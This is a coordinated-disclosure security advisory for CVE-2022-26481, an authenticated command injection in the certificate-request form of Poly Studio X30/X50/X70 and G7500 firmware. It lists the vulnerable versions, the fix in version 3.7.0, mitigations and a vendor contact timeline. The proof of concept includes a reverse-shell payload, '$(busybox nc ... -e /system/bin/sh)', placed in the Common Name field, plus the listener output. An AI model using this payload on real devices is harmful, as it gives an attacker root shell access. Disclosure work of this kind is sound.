SEC Consult Vulnerability Lab Security Advisory < 20220601-1 >  
title: Authenticated Command Injection  
product: Poly Studio X30, Studio X50, Studio X70, G7500  
vulnerable version: 3.4.0-292042, 3.5.0-344025, 3.6.0  
fixed version: 3.7.0 or higher  
CVE number: CVE-2022-26481  
impact: critical  
found: 2021-07-14  
by: Johannes Kruchem (Office Vienna)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"Experience full board-room-quality audio, and knock-your-socks-off video,  
for mid-sized rooms. The Poly Studio X50 all-in-one video bar is radically  
simple to use with support for leading cloud video services built right  
inโ€”no PC or Mac required. Voices are crisp and clear. Video feels natural.  
And wireless content sharing lets users collaborate from their devices  
without cables or pucks."  
Business recommendation:  
The vendor provides a patch which should be installed immediately.  
Vulnerability overview/description:  
1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481)  
An authenticated Command Injection vulnerability exists in the web interface when  
creating a certificate. An attacker is able to execute commands with root privileges.  
Proof of concept:  
1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481)  
When being authenticated:  
1. In the system web interface, go to Security > Certificates.  
2. Select Create Certificate Signing Request (CSR).  
3. In the Certificate Details form, complete the following fields:  
Common Name (CN): $(busybox nc 8888 -e /system/bin/sh)  
(steps taken from  
The previously started nc listener receives a connection from the camera  
as root:  
$ nc -lvp 8888  
connect to [] from (UNKNOWN) []  
$ pwd  
$ whoami  
Vulnerable / tested versions:  
At least the following firmware versions of Poly Studio X30, Studio X50, Studio X70 and  
G7500 are affected:  
- 3.4.0  
- 3.5.0  
- 3.6.0  
Vendor contact timeline:  
2021-07-14: Contacting vendor through PSIRT email.  
2021-07-15: Vendor sent PGP key.  
2021-07-16: Advisory was sent to the vendor.  
2021-07 to 2022-03: Further coordination with multiple emails and meetings.  
2022-03-18: Vendor provides draft advisory.  
2022-03 - 2022-06: Patch already available, waiting for vendor advisory release.  
2022-06-01: Coordinated release of security advisory.  
Update to firmware version 3.7.0 or higher.  
The firmware can be downloaded from the vendor's support page:  
This issue has been documented in the vendor's security advisory PLYTV21-09:  
In order to minimize the risk of exploitation, set a strong password for the  
web interface and restrict network access to the device.  
Advisory URL:  
SEC Consult Vulnerability Lab  
SEC Consult, an Atos company  
Europe | Asia | North America  
About SEC Consult Vulnerability Lab  
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EOF Johannes Kruchem / @2022